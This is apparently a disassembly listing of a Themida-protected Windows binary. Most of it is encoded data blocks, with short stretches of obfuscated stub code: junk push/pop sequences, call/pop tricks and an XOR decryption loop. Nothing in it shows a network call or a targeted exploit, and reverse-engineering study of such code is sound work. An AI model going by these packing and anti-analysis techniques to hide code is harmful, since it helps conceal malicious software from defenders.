		dd 0ED1D2EAh, 0CF92AD72h, 46FF9074h, 0BA822A42h, 0F752CBD8h
		dd 9DD330C4h, 4F12A3E4h, 0BEA970B3h, 9A36B97Ah,	6AE9A906h
		dd 6CBFF889h, 3BC418DBh, 0B7485C2Dh, 2285E8B1h,	8B06A005h
		dd 0A7D3Dh, 0F9799300h,	7CEE1428h, 16997ABh, 83E51C30h
		dd 0A689EB2h, 92FF2439h, 192DFE74h, 0A1B586EAh,	273B0C64h
		dd 5DBF90D8h, 4DE87C18h, 5633046h, 4226D9B5h, 0B98D0479h
		dd 0A8F671E0h, 0A3Eh, 67383AD2h, 0EABBAF53h, 6F402AD6h
		dd 0F1C2A65Bh, 784929DDh, 35D1BE63h, 0AB586C3Dh, 25E0F4C5h
		dd 99667A4Bh, 579CFECFh, 464E27BBh, 0F444A230h,	894226D9h
		dd 0E37FC145h, 2A2CF94Fh, 0A04327D9h, 84AD7E0Fh, 0E0E1F985h
		dd 1FC0811Dh, 34C53410h, 87E31D71h, 8B558DCEh, 0B511FA33h
		dd 0DC2AB2EBh, 0EE7E4987h, 75383951h, 0CF88E021h, 6709FA8Eh
		dd 0C1346DAEh, 0B9DA6025h, 934CDDFBh, 3937CC20h, 0E3E4FC00h
		dd 0B418420h, 0B748F5D1h, 625FA0F4h, 75944AC1h,	0F13C2003h
		dd 0D6897CB4h, 9C1FE273h, 0D7E56C00h, 9B5EEFF1h, 0D7E56BFFh
		dd 245DEEF1h, 0F8708FA3h, 1361402Fh, 98E66127h,	97Eh, 27F87A92h
		dd 0AA7BEF13h, 2F006A96h, 0B182E61Bh, 3809699Dh, 7591FE23h
		dd 0EB182CFDh, 65A0B485h, 0D9263A0Bh, 175CBE8Fh, 464EE77Bh
		dd 0B4046230h, 7F4226D9h, 0DA93D72Bh, 0B3F76099h, 0BC50EC52h
		dd 3F2A2CF9h, 591256ABh, 33F68718h, 0BB4423DFh,	22631CADh
		dd 580C68E9h, 0F32A2CF9h, 4D06629Fh, 0B7CFD30Ch, 1C70F3B6h
		dd 8BCC85E3h, 4A2FC652h, 368A3415h, 46679FC9h, 0C48C0982h
		dd 69FA4D86h, 0BBAD52A6h, 665BA4F8h, 0D3F129A4h, 0DF9829B8h
		dd 0D0E4659Eh, 3C80392Fh, 46DA76CAh, 0C93046C8h, 0AAEEA738h
		dd 34C155Bh, 2CE6A043h,	8CC63B1h, 0C8440000h, 3DC5D9AAh
		dd 0B8485C2Dh, 34CDE1B2h, 0B74F6334h, 20D5EABBh, 0DEAFC343h
		dd 663739CAh, 0ECBDB352h, 704127D8h, 992DC90Eh,	1430464Fh
		dd 26D966B6h, 0C2168942h, 2D1A843Dh, 1514236Bh,	518ACB84h
		dd 0B376F20Dh, 7C009430h, 0EA7B2A2Dh, 8AC3AD56h, 4525DD21h
		dd 0B2B8488Ch, 0D096FAF9h, 5FF07887h, 9DCAAC10h, 2B350662h
		dd 69939E88h, 51D7Bh, 1197D00h,	0AA13D00h, 8F34154Ah, 18E73BFEh
		dd 8DAB7F50h, 804FDB94h, 5AA7D1BDh, 4CEF72F4h, 3FE90854h
		dd 54h,	2FB1941h, 0FA0FA33Fh, 0F98A2A2Ch, 67E0B440h, 9C6A4AC3h
		dd 27D91DD6h, 0F3ACC640h, 246821B2h, 96D790E2h,	0E1471F03h
		dd 945BB145h, 0A9B2C4Ah, 4D1452B8h, 89FA7AAAh, 6BFF0357h
		dd 0B3871B2h, 10h, 26E22018h, 0F82C7EB3h, 49CF41BFh, 0FF000002h
		dd 3F02FB19h, 0F98C20BCh, 737A2A2Ch, 6D8A228Ch,	95CE5F02h
		dd 93D1A02Ch, 43A9A1B8h, 669B3E23h, 278EE2FFh, 90000000h
		dd 4902FB19h, 0B86E55BDh, 0C3A309A1h, 0FF84FB9Eh, 0AC54A8E2h
		dd 30C405BEh, 315E97D1h, 81h, 5416EA3Eh, 0FB199D1Bh, 15EB3F02h
		dd 0DA91C55h, 2A2CF979h, 21B551D4h, 9C2A2CFAh, 0EE7FD20Bh
		dd 422ED72Bh, 0EB5FD909h, 0A5F9EE0Ah, 40D40D5Dh, 5B983B26h
		dd 468B6993h, 8D000000h, 1B66B2AAh, 4673EC17h, 0F1E860Eh
		dd 82BB2681h, 0A467607Eh, 2D577208h, 8768F92Ah,	0C184A95Eh
		dd 0DC85B5C9h, 4D8E4729h, 0A3F1F15h, 77B871F7h,	5D19ADE6h
		dd 938C7114h, 76469h, 0CF660000h, 180h,	0C2B2AAFFh, 2E47933Fh
		dd 0EE821EE1h, 712A2D91h, 0D59A7E0h, 89000001h,	4902FB19h
		dd 0DC44FABDh, 3C3AA085h, 49DD79FCh, 0C47F7D3Dh, 1DC0FA33h
		dd 10BEE35Bh, 0C8h, 6AFE9A1Dh, 0F47F7D34h, 61A25B0Dh, 76F42DBEh
		dd 0F78B27AAh, 0DD2A2CF9h, 25127583h, 0CB5CFF8Dh, 77708E92h
		dd 0B38418B4h, 0EFE72A2Dh, 5548C01h, 2425901Eh,	71D84758h
		dd 0C354A7E0h, 13067E0Ah, 74DA4A0Dh, 0E1CC6FF2h, 257989B3h
		dd 27548DDDh, 50h, 922EB134h, 4A4DB2FEh, 8014F081h, 0FB4A4DB2h
		dd 0AAB3316Ah, 8C1AF56h, 9E2F41C4h, 4A436165h, 0F957EB87h
		dd 41D22A2Ch, 2A84FC88h
		dd 13589D0Ch, 0A8CA3C90h, 3ED2AEEFh, 0C1974D27h, 363F730h
		dd 0B345BB5Eh, 2AAED6h,	67BB0000h, 1795CE9Ah, 0F78B27AAh
		dd 722A2CF9h, 0B94A28DEh, 923280h, 756D0000h, 45E17319h
		dd 2A2DA4B1h, 0F3639B2Ch, 2EACE5E7h, 0BCA956AAh, 2E6F284Ah
		dd 6AA3E49Dh, 0D68FD926h, 2CF9B14Ah, 6ABE032Ah,	0DC1DD69Ch
		dd 570FA3h, 4A9869FFh, 0F78B27AAh, 722A2CF9h, 0C199143Ah
		dd 52E3E9A9h, 0FEF71519h, 881CB83Bh, 32A2D7Ah, 65A83972h
		dd 4A820B6Dh, 2B643830h, 7A3DF0D2h, 0DA93DD26h,	0AACC6099h
		dd 2C0A9775h, 58FA842Ah, 3699325h, 0FE50E480h, 3ACB2A2Ch
		dd 0B7B8A602h, 3069A40Fh, 0FFFE9F03h, 5BCF05FFh, 0FF000002h
		dd 0F78B27AAh, 722A2CF9h, 0F97F13AFh, 69FA2A2Ch, 6BB8A0D8h
		dd 0FC091689h, 0E8807FC3h, 5414EB2Fh, 9697AF83h, 674E37D3h
		dd 22B33410h, 745DD69h,	0B3193041h, 250BAEB3h, 48FE6FA7h
		dd 0B000000h, 0E81E49B7h, 5840F98Ah, 5C90CCFDh,	0A43D498h
		dd 1198Ch, 9C2BA3Dh, 0C893DC9Ah, 0E70315FEh, 59D4DFAFh
		dd 0A85B9420h, 0E61E3410h, 675B0A0Ah, 8740D1ABh, 419463FBh
		dd 95D13730h, 0A7B729CCh, 0C11C6Fh, 0D91E0000h,	0A6C23F26h
		dd 1256A9EDh, 0F337F081h, 489C5F13h, 0BAFBB4BEh, 22A51881h
		dd 7D3634CEh, 0F9CC603Ch, 932F2A2Ch, 2A2CF9FFh,	0B546E97Ah
		dd 0A1C7387Ch, 0D5BA4E8h, 591E03Ch, 58A72A2Ch, 0BB74F40Dh
		dd 0D518E97Ah, 35EE8281h, 9FB7BBF4h, 483FDB9Eh,	913413BAh
		dd 1DE93D00h, 96708455h, 3DD013DCh, 7EF9E6AFh, 4A530h
		dd 0D1A16B00h, 5416EC00h, 0D9916F83h, 5B0DF408h, 0E290768Ah
		dd 6AC7FC11h, 0F105D69Ch, 798D5E12h, 0FF13E48Ch, 35976800h
		dd 53C054F0h, 0DD3B3046h, 452DD98Dh, 0C99F6074h, 194FB206h
		dd 0BD51ED60h, 402A2CF9h, 64E51EAFh, 20E32921h,	0AC3AD56h
		dd 6E8C91C9h, 0D9EF6DA6h, 0FC7F4226h, 2CF9CC60h, 0FBBE4F2Ah
		dd 2CF9CB5Fh, 84BD4E2Ah, 4028D71Bh, 82839B6Fh, 0D8986BBFh
		dd 3F902C9Fh, 4234101Ah, 0D26CF8B1h, 0AD304119h, 627A2D49h
		dd 0B1029E61h, 0B43A2439h, 667E5223h, 0FA039733h, 6A952A2Ch
		dd 610445FEh, 0E07C3FD0h, 34154949h, 287C3FD0h,	96D790DAh
		dd 6A96EA5Dh, 1AE93D00h, 599C1D56h, 49A63AD6h, 0C7383046h
		dd 346DFEA1h, 464A16A8h, 0E9196D30h, 5A16ED81h,	4828DD21h
		dd 545977h, 91890000h, 2A2CF9F9h, 0E4B5ACCBh, 813A30D0h
		dd 2CF961F5h, 5414EB2Ah, 1BAE579Bh, 90BC11D9h, 9E57E807h
		dd 2F3B3B9Fh, 63C5A1B7h, 417AF60Fh, 966703FDh, 34ED8382h
		dd 2DB90FA8h, 964A12Ah,	7ABB74FCh, 14EC30E9h, 3A9E9D56h
		dd 0D97D2E3Ch, 353BCA9Dh, 2CD91664h, 0BE478B44h, 4CB5F9B2h
		dd 54F0631Ch, 2A2CF9C0h, 0EF16AA3Bh, 0D92DC881h, 1A7ECD9Dh
		dd 76FA0B5Ch, 14AD49A5h, 0E8722A2Ch, 69932A46h,	0FFFF7A37h
		dd 56AA39FFh, 0C506BFA9h, 0B1B7488Ch, 1D4BB4F8h, 5F60784Ch
		dd 0DBE489Ch, 0E3B5C8BEh, 0FC859AEh, 862295CEh,	3411109Dh
		dd 0A964FE0h, 3041CF72h, 0DB86E046h, 6FA7EE38h,	4B2Bh
		dd 1192D00h, 1CE93D00h,	8356B0ADh, 52E36B29h, 0C2AE5599h
		dd 0FE37C809h, 0E985088Bh, 2A2D9455h, 820E47D8h, 3410BB49h
		dd 36C27B0Ch, 30417A9Eh, 0CE6A0C72h, 0ACE58B7Ah, 0A79DCF72h
		dd 0D7C26Fh, 0D7CF0000h, 5BD4D241h, 1694CD71h, 259B26D9h
		dd 84470E1h, 246CD6F5h,	761486ECh, 1EE82CE5h, 0C3999154h
		dd 96E1D2DDh, 75B9225Bh, 0E125DE8Ah, 1D794A1Eh,	2A2CD1CEh
		dd 0D03035CAh, 0C346099Ah, 2DC19327h, 4C85162Ah, 0CC3488CBh
		dd 4902669Bh, 7DBE7708h, 69FF0044h, 9394ACB0h, 0F1DB34D0h
		dd 0CA5E3410h, 0D2A33436h, 76C83B8Fh, 41F246DAh, 0A738C930h
		dd 78ECC56Fh, 0C801CC37h, 0E8ABACC4h, 28AB534Ch, 4205963Ah
		dd 0AE5718EEh, 37C809C2h, 0BEB45266h, 0BBC0E8F5h, 0FC4AC5E0h
		dd 222h, 83541EEEh, 6D7936Fh, 8B5C0EF2h, 0DDE8A77h, 94650DF9h
		dd 19ED5A7Fh, 8F748859h, 9FC10E1h, 7D829667h, 73B81AEBh
		dd 465743D7h, 1868C630h, 74452DD9h, 0F8C99F60h,	0A956AAAAh
		dd 2C506BFh, 2CF9D266h,	83BC4D2Ah, 0A366677Fh, 0D06505ABh
		dd 398DFFh, 0D4B8F18Dh,	29BD3410h, 98D992D6h, 2AC24E07h
		dd 0FE3041A9h, 69A36B9h, 983041A9h, 7480167h, 69AD364h
		dd 0A945C860h, 3041A915h, 94CE0798h, 6FA7CBF1h,	0FBE4h
		dd 26D9E600h, 0C1458942h, 0FB3F7A0Ah, 0BCC8C78Dh, 8B604D52h
		dd 0FFB849DAh, 2C412473h, 0E682052Ah, 2A2D3852h, 0A4CC39CDh
		dd 0E019AAEBh, 0FF02639Ch, 0DE6FB069h, 6206F90Dh, 0BBB336A9h
		dd 0EE898DC6h, 0B4482429h, 372A2D09h, 7B0C5CA3h, 25263E42h
		dd 3BCF6A62h, 21CA189Eh, 90D18ADEh, 0B753C6FFh,	3411245Eh
		dd 0D8906FC3h, 0BB4ADE1Fh, 82BBFCB5h, 0F9CD9E2Fh, 9A1DE0E1h
		dd 0C3E77B17h, 0D1623041h, 41C361F5h, 884BDC30h, 41C358ECh
		dd 942D330h, 7F20FA96h,	92233A28h, 0E48B7BCFh, 4E924B1Dh
		dd 0BCFDB6B4h, 0B5C99A2Bh, 86E41E51h, 0F3052CF5h, 0F36EE0BBh
		dd 0DDA5h, 99D93300h, 1C4EB4C8h, 0A1C9374Bh, 2345BCD0h
		dd 0AAC83E52h, 321FC4D9h, 0B9CD9ED4h, 4155264Ah, 0C7DBACC4h
		dd 0FD5F3038h, 57881CB8h, 0A5033046h, 452DD955h, 0C99F6074h
		dd 9632B5F8h, 2A2CFA02h, 35B3EC7Dh, 7F4226D9h, 0F9CC60FCh
		dd 0AFBA2A2Ch, 0A92F5E54h, 2059EA8Dh, 0DC8C73B7h, 8E74C80Bh
		dd 0D27A0EAAh, 64F52A2Dh, 7E969AD3h, 3F37BA7Dh,	91009E6Dh
		dd 0C6528B05h, 3415872Bh, 0C436968Eh, 336BFF03h, 1A532BD9h
		dd 397D36C7h, 0BDD1A2C6h, 0E16D2642h, 0A845ABCDh, 76B2B408h
		dd 548DE322h, 0A879EF10h, 44FD6B94h, 0AE670100h, 61F67086h
		dd 0B6F9CA9Eh, 91CAA062h, 0FDB6B24Dh, 1DAFh, 0CB67EA00h
		dd 0A8462837h, 978CFC1Dh, 0F396D49Ch, 0ABAB2962h, 45602E26h
		dd 0E0BA4A15h, 33D929A7h, 0BD42863Fh, 57AEF2ABh, 0E71C6019h
		dd 7A8CD089h, 0BFB3FF8h, 976AAE67h, 2CD418D1h, 0C141853Eh
		dd 68EAF0A9h, 92Dh, 50243C89h, 405E089h, 2D000000h, 4
		dd 5C240487h, 51242C89h, 0C181E189h, 4,	4E981h,	0C870000h
		dd 3C895C24h, 2ABC6824h, 3C890000h, 50D6BF24h, 0FD890619h
		dd 4EC835Fh, 81242489h,	42404h,	535F0000h, 0B850EB89h
		dd 8, 1889F801h, 3C8B5B58h, 0E2895224h,	4C281h,	0C2830000h
		dd 24148704h, 2434FF5Ch, 4C4835Dh, 0FBE6EDE9h, 28758BFFh
		dd 0C9D18EEEh, 38530E1Eh
; ---------------------------------------------------------------------------


loc_59EBC4:				; CODE XREF: sub_59DB3D:loc_59DC56j
		mov	eax, 6195F5Ch
		add	eax, ebp
		jmp	eax
sub_59DB3D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 81h,	39h, 0F7h
		dd 0E6BBA772h, 91A36D03h, 6B99F959h, 968D8D16h,	0F061960h
		dd 28Bh, 89DE8B00h, 1432298Dh, 0F9952906h, 0C7061431h
		dd 14064D85h, 5E6C06h, 6830F00h, 8B000000h, 14039985h
		dd 7185C706h, 61426h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 98B5C356h, 458D899Ah
		dd 0FF061408h, 1402E1B5h, 299D8B06h, 0FF06142Dh, 14236195h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 0CB7A8894h, 6AD466h, 116995FFh
; ---------------------------------------------------------------------------


loc_59EC74:				; DATA XREF: Themida_:00549424o
		adc	al, 6
		mov	eax, eax
		jmp	short loc_59EC97
; ---------------------------------------------------------------------------
		dw 0F0B2h
		dd 1BB87043h, 0F4451808h, 3B23E42Fh, 6EB95786h,	3326C5Fh
		dd 74C2375Dh
		db 0A3h, 39h, 71h
; ---------------------------------------------------------------------------


loc_59EC97:				; CODE XREF: Themida_:0059EC78j
		jmp	loc_59EE2A
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_59ECA7
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59ECA7	proc near		; CODE XREF: Themida_:0059EC9Fp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_59ECA7	endp

; ---------------------------------------------------------------------------
		db 40h
		dd 0A7FDD57Bh, 0F80CA3D9h, 6174B58Dh, 8C0F0619h, 1, 12858DF5h
		dd 0F06174Ch, 108Ch, 5E96000h, 0D0000000h, 38F88672h, 0FCE4BF66h
		dd 6AD0FF61h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 1929C350h, 0E94D6B3Ah,	830F64F7h
		dd 13h,	0E95F5160h, 0Ah, 0CE4A5836h, 0E5FA750Dh, 0FC6104DCh
		dd 56006AC3h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 7280E7EFh, 7A6E1AD6h, 66DD8A60h,	6661C28Bh
		dd 880FD98Ch, 0Bh, 6E9h, 5C3B8100h, 60144F50h, 8E9h, 0A2D7BB00h
		dd 0E76833E1h, 80BF6663h, 0C1F661AAh, 60840F04h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 0B8ADC351h, 5830Fh, 66600000h, 8B61CB8Bh
		dd 32CB8BFBh, 0FD75AEC0h, 0D9F7CF2Bh, 0D78BF92Bh, 0EBD98B49h
		dd 3F20CD00h, 0B000101h, 8D1874C0h, 0FA8B0C70h,	75A6CB8Bh
		dd 0FA75490Ah, 1B8h, 8B09EB00h,	0B8E4EB00h, 0
		dd 13E9CFh, 1550000h, 6AA34FB5h, 0B750342Ah, 7072DACh
		dd 647B8181h, 815160FDh, 23617C1h, 820F5A35h, 19h, 13E8h
		dd 13782900h, 40719D45h, 0F9B438B5h, 0BEFDC2F6h, 0C65C1114h
; ---------------------------------------------------------------------------
		pop	edi
		popa


loc_59EE2A:				; CODE XREF: Themida_:loc_59EC97j
		mov	dword ptr [ebp+61961E4h], 1013Fh
		call	near ptr loc_59EE46+3
		mov	dword ptr [eax], 0D61F80EAh
		lodsd
		dec	ebx
		mov	dl, 46h
		xchg	eax, ecx
		test	al, 0FCh


loc_59EE46:				; CODE XREF: Themida_:0059EE34p
		or	eax, 0B70F524Bh
		leave
		pop	eax
		adc	ebx, 256BB59Ah
		add	eax, 5F62h
		pusha
		jmp	loc_59EE73
; ---------------------------------------------------------------------------
		db 40h
		dd 3E03A5A3h, 0B6E9EAF3h, 90EEF2CBh, 251F2509h
; ---------------------------------------------------------------------------
		push	ebp
		mov	dh, 0AFh


loc_59EE73:				; CODE XREF: Themida_:0059EE5Aj
		call	sub_59EE86
; ---------------------------------------------------------------------------
		dd 0B8C8C1C4h, 10616303h, 0DCF414F3h
; ---------------------------------------------------------------------------
		test	ebp, ecx

; =============== S U B	R O U T	I N E =======================================



sub_59EE86	proc near		; CODE XREF: Themida_:loc_59EE73p
		pusha
		popa
		pop	ecx
		popa
		xor	edi, edi
		pusha
		jbe	loc_59EE95
		pusha
		popa


loc_59EE95:				; CODE XREF: sub_59EE86+7j
		stc
		popa


loc_59EE97:				; CODE XREF: sub_59EE86+6Aj
		mov	edx, [eax+edi]
		xor	edx, 458E5E70h
		stc
		xor	edx, 4174D55Ch
		pusha
		push	ecx
		jb	$+6
		pop	edx
		cmc
		popa
		xor	edx, 4A58BA77h
		jge	loc_59EEBF
		cmc


loc_59EEBF:				; CODE XREF: sub_59EE86+32j
		mov	[eax+edi], edx
		jmp	loc_59EEDB
; ---------------------------------------------------------------------------
		db 0Bh
		dd 0EF26CDBFh, 81146E4Ch, 20208290h, 0F87471Eh
		db 4Dh,	0C5h, 0D9h
; ---------------------------------------------------------------------------


loc_59EEDB:				; CODE XREF: sub_59EE86+3Cj
		stc
		sub	edi, 4E7454ABh
		add	edi, 4E7454A7h
		mov	cl, 0D4h
		cmp	edi, 0FFFFA168h
		jnz	loc_59EE97
		jmp	loc_59EF07
; ---------------------------------------------------------------------------
		db 0F2h
		dd 0C23A0662h, 0C6E15F99h
		db 0B5h, 6Eh, 0E3h
; ---------------------------------------------------------------------------


loc_59EF07:				; CODE XREF: sub_59EE86+70j
		jmp	short loc_59EF69
; ---------------------------------------------------------------------------
		align 4
		dd 17h dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_59EF69:				; CODE XREF: sub_59EE86:loc_59EF07j
		jmp	loc_59FAD4
; ---------------------------------------------------------------------------
		jmp	loc_59FACD
; ---------------------------------------------------------------------------
		push	6196B4Eh
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	6196CC8h
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		push	6196D36h
		jmp	loc_5509FF
; ---------------------------------------------------------------------------
		db 0C4h, 18h, 0A7h
		dd 625B7855h, 1C9F3310h, 0D1E8EDCAh, 8835A27Fh,	0F5BBFD36h
		dd 0AC89DBE2h, 65429425h, 1DFA4C73h, 0A4B002B9h, 4B30161Ch
		dd 4944580Bh, 0FABF12E2h, 0FDD4DF4Eh, 498D6ABCh, 1FB9C672h
		dd 24ECF4A0h, 0F1E8381Eh, 646F4C51h, 8792C159h,	0EB1DBA4Ah
		dd 8B37CFEAh, 0E2EF9B33h, 0FDC013F5h, 0FF9728B0h, 2C914653h
		dd 57627380h, 2D6A3ABh,	4F838EBDh, 20B3C06Ch, 77E5F19Dh
		dd 20B27FC7h, 32874E9Bh, 0F9FF2E86h, 0E84AE3F3h, 0DB234B57h
		dd 4B270D13h, 133B580Bh, 0C211DEE4h, 63CDA9FBh,	4EE6D3FEh
		dd 64713E06h, 0E8E22655h, 14580B4Ah, 0A33340ECh, 170DC618h
		dd 84308D4Ah, 0E4F2FD2Ch, 0ABB3AED7h, 16C2F7DEh, 56EECD09h
		dd 0AB134027h, 540DD2FBh, 63494F17h, 7751F1E8h,	0C1B4204Fh
		dd 5D01EDE5h, 52h, 6F508855h, 0D908B522h, 0FBAB13F2h, 2B1117D2h
		dd 3F51F1E8h, 107CF17h,	51F1E81Bh, 0F1D8072Fh, 54824F17h
		dd 17513867h, 433884Ah,	9BE3DAF9h, 5C715C4h, 0F20019FFh
		dd 0AE052D51h, 4D7CE824h, 17691066h, 0B8F12F40h, 52817721h
		dd 2F46h, 0AB139D00h, 1117D2FBh, 51F1E82Bh, 649A3954h
		dd 5E9079BFh, 2AE4697h,	17E912AAh, 0FCC1126Eh, 0E6ECB4h
		dd 1451F1E8h, 86399FECh, 69107057h, 11674017h, 45F1CE0Ah
		dd 61E896EDh, 61CFD908h, 0B06F75BDh, 6657E61Bh,	6A4C923Eh
		dd 755806FBh, 0C99C3753h, 35F8D8DEh, 1E7h, 3EA9134Ch, 8039C7Eh
		dd 0B80098D0h, 0F276B4B2h, 39996651h, 4F7ED682h, 0EFF7A3CBh
		dd 0AA4C4918h, 53829E66h, 777D8E48h, 51F23C91h,	93E57DA5h
		dd 0D8E5EEBBh, 4F17C2A9h, 0F1E86349h, 204F7751h, 0D1FAC115h
		dd 4A17CAB3h, 0E0E62E8Bh, 51F1E7FAh, 0ADB7E60Eh, 0D6C9545h
		dd 0E5C4B154h, 0E3BA01EDh, 0E7560677h, 0E64C7B7Eh, 49h
		dd 2A1016DEh, 3E54F1FDh, 1300E716h, 0E6B3FBABh,	0B59CCBF0h
		dd 0E82B1117h, 173F51F1h, 874F17EEh, 0F1E79B81h, 3A87AF51h
		dd 1E762297h, 0C11208EFh, 4A17D3FCh, 7B832F8Ch,	0F1E78F75h
		dd 0E37BA351h, 1100A7B4h, 22h, 0FBAB1368h, 824F17D2h, 0F4386754h
		dd 51F1E80Eh, 17A8D137h, 0FCC1126Eh, 8B4A17D3h,	0FB2A822Eh
		dd 401747EEh, 391BA64Ah, 5448F8F7h, 3D42A3A9h, 26C76A5h
		dd 95410E56h, 29F1F726h, 9945765Ch, 0DE76478Ch,	4B7A4191h
		dd 0F28A1507h, 6D194151h, 45907660h, 0D18ADC74h, 63494F17h
		dd 7751F1E8h, 0A8AF84Fh, 1E5C7E6Bh, 19F2E4EFh, 0F2142D13h
		dd 0D95A4151h, 0BEC19A79h, 88B149E1h, 4017CAB3h, 9F4543BCh
		dd 0A0DA310Bh, 727081FAh, 0AF172150h, 4017D6FFh, 6B05207Ch
		dd 74459050h, 0A9D870C8h, 0C4B1E099h, 0BA01EDE5h, 29D5E4EDh
		dd 20167AD1h, 0BAF62AD3h, 3E258Bh, 173C0000h, 8632874Ah
		dd 0FAE0E62Eh, 0E51F1E7h, 45ADB7E6h, 11176C95h,	51F1E82Bh
		dd 17EE173Fh, 3DC1126Eh, 3CD1F530h, 0CC14AC68h,	3626D8FFh
		dd 80690B27h, 9980AF47h, 36116910h, 68000000h, 8AEA4017h
		dd 8FE8117Bh, 89EE5660h, 0AB26734Ah, 174D760Eh,	0E863494Fh
		dd 4F7751F1h, 2E141A20h, 5751F1E8h, 6E17C8F1h, 0D3FCC112h
		dd 2F8C4A17h, 0EFFC2B83h, 911148h, 13680000h, 0AFB5FDA9h
		dd 51F1E7B1h, 7E3B9663h, 0C74B7AD2h, 0F0E6F39Fh, 12C079CBh
		dd 0B3CEF7C4h, 0FBAB13CAh, 0B1540DD2h, 1EDE5C4h, 0D7E6EDBAh
		dd 3EA4D32Bh, 26h, 0FBAB1355h, 884A17D2h, 0F8FE0433h, 51F1E812h
		dd 17D5FE26h, 0FCC1126Eh, 874A17D3h, 4FF60332h,	3611h
		dd 0AB136800h, 4A17D2FBh, 2E863287h, 0DF3F9FFh,	3651F1E8h
		dd 6E17A7D0h, 7F8C4A17h, 0F1E79379h, 0E77FA751h, 0A9B4E33Bh
		dd 106A932Ah, 967C824Ah, 0AA51F1E7h, 126C5382h,	3E4BF7C4h
		dd 0F6D3259Ah, 0E92FDBE0h, 51F1E805h, 4EE6A446h, 14EB3388h
		dd 8797AA56h, 0DEEE1D38h, 3AE6D501h, 0F68E51ECh, 0DF0EAD29h
		dd 9F37CD8Dh, 80EECA1Ch, 6D05B81Bh, 25601F25h, 0C79457E5h
		dd 0E1DCF70Fh, 1645DD35h, 78BE6A92h, 58060496h,	0FD03CBA1h
		dd 58060517h, 82D4032Bh, 0D49ACBC0h, 3B64F8D9h,	5C000000h
		dd 0CA76498Fh, 175C4372h, 0E863494Fh, 0E1F051F1h, 0BBEA12D8h
		dd 0F1E026B0h, 7C8430C8h, 15753CA5h, 2453255Dh,	0F2E3FAE0h
		dd 12E93F51h, 3ADB040Eh, 398BBA3Ah, 0C8F3E319h,	0C412BD76h
		dd 0BFD8AFF7h, 0D3377825h, 0CAD6406Fh, 8EEF55Ch, 61678003h
		dd 38A4EEC5h, 9830C804h, 6C4F8350h, 0CD31373Dh,	0DD57E926h
		dd 198763B5h, 0DCDDF8C5h, 0C287056h, 30A78458h,	0F189E18Dh
		dd 72491159h, 6F1E11CDh, 4473A1h, 5DFF5D41h, 0DD23CFF7h
		dd 5E203CFBh, 2DA6E406h, 0F2BF9D38h, 72585E26h,	865E2049h
		dd 4AC92F5Eh, 0E0000000h, 0B5FDA913h, 0F1E7B9AFh, 806ED51h
		dd 0D7E2F3DAh, 27CD32Bh, 649E3B3h, 28D28818h, 0E3B0F890h
		dd 9298C7F2h, 0F8FE0DC5h, 51F27912h, 1E66FE26h,	2736347h
		dd 4776E02Ah, 365937h, 0C9910000h, 0F2E6DDC3h, 9AC9F151h
		dd 0FDA913B3h, 0E7BDAFB5h, 0CE951F1h, 0F24AF6C7h, 0D53B125Ah
		dd 8AC19410h, 7C3D94E1h, 587A474Dh, 4441B63h, 91CEE5BEh
		dd 6A233362h, 14711h, 5A7C4900h, 0EA9627ACh, 0E4CBFA92h
		dd 0B4FCAA13h, 0E800E6ECh, 0EC1451F1h, 0CAB3D6BDh, 0AFF7C412h
		dd 33191FE7h, 4751F1E8h, 0E7B3991Fh, 3F4551F1h,	51F1E859h
		dd 0A27F456Dh, 87DF8B30h, 194298EFh, 0ACCC1CA3h, 540D967Dh
		dd 0EDE5C4B1h, 295A01h,	17710000h, 2318E4Ah, 0B6DF8FF8h
		dd 0E82B1117h, 0F0BD51F1h, 0EAF24E2h, 9BC34776h, 126E1772h
		dd 10D2FBC0h, 3B1169h, 13680000h, 17D3FCAAh, 0E863494Fh
		dd 0E7F051F1h, 323810D6h, 51F1E84Ch, 71A03860h,	0E87F656Bh
		dd 42A851F1h, 784F1719h, 0C65BB69Ah, 50376636h,	753CC012h
		dd 0B617F6EFh, 10CAF38Bh, 42C41269h, 67902895h,	0AB13CAB3h
		dd 540DD2FBh, 0EDE5C4B1h, 215A01h, 13710000h, 17D2FBABh
		dd 6C51824Fh, 0E813F93Dh, 0FF2751F1h, 126E17D6h, 10D3FCC1h
		dd 341169h, 13680000h, 0E6B3FBABh, 0C71FCBF0h, 1117B198h
		dd 51F1E82Bh, 239A3954h, 757B438Bh, 51F1E78Fh, 654C7BA3h
		dd 50824F17h, 12553C6Bh, 318C47C1h, 6C952D85h, 4A176910h
		dd 0F9043388h, 442A30DFh, 5851F1E8h, 0FCE2E830h, 1051F1E7h
		dd 5EA450E8h, 51F1E87Bh, 0BA7210E2h, 964FA11Eh,	4DF9C612h
		dd 554D6E45h, 0AA263696h, 5768707Bh, 20C3380Fh,	0D33972A4h
		dd 0F44B66DDh, 95C427E4h, 6B31E2Bh, 78864D5Ah, 0A93D33A4h
		dd 0B35FF7E6h, 1B9EBC5Eh, 0AF450569h, 2E449629h, 51F20F0Bh
		dd 26B27FC7h, 68FE6A99h, 98FEECE5h, 0FFFFFE74h,	0E7F7D9AFh
		dd 0E14351F1h, 2D51F1E7h, 51F1E948h, 0F5C80BD8h, 553B4149h
		dd 6951F1E9h, 367AA941h, 51F1E954h, 0F1E8BEA0h,	0E9280A51h
		dd 40AE91F1h, 7A424890h, 4217E6E3h, 40AD21Ah, 1808E31Eh
		dd 7A424B32h, 7FD96123h, 464EB8E7h, 0AAB05F79h,	18089DC4h
		dd 6C18B0D8h, 6DDBE514h, 107379C1h, 1E1DFCA3h, 9A8C18F6h
		dd 0C7B17893h, 2ECB9h, 437C6000h, 0FEBF14F1h, 0B803CFACh
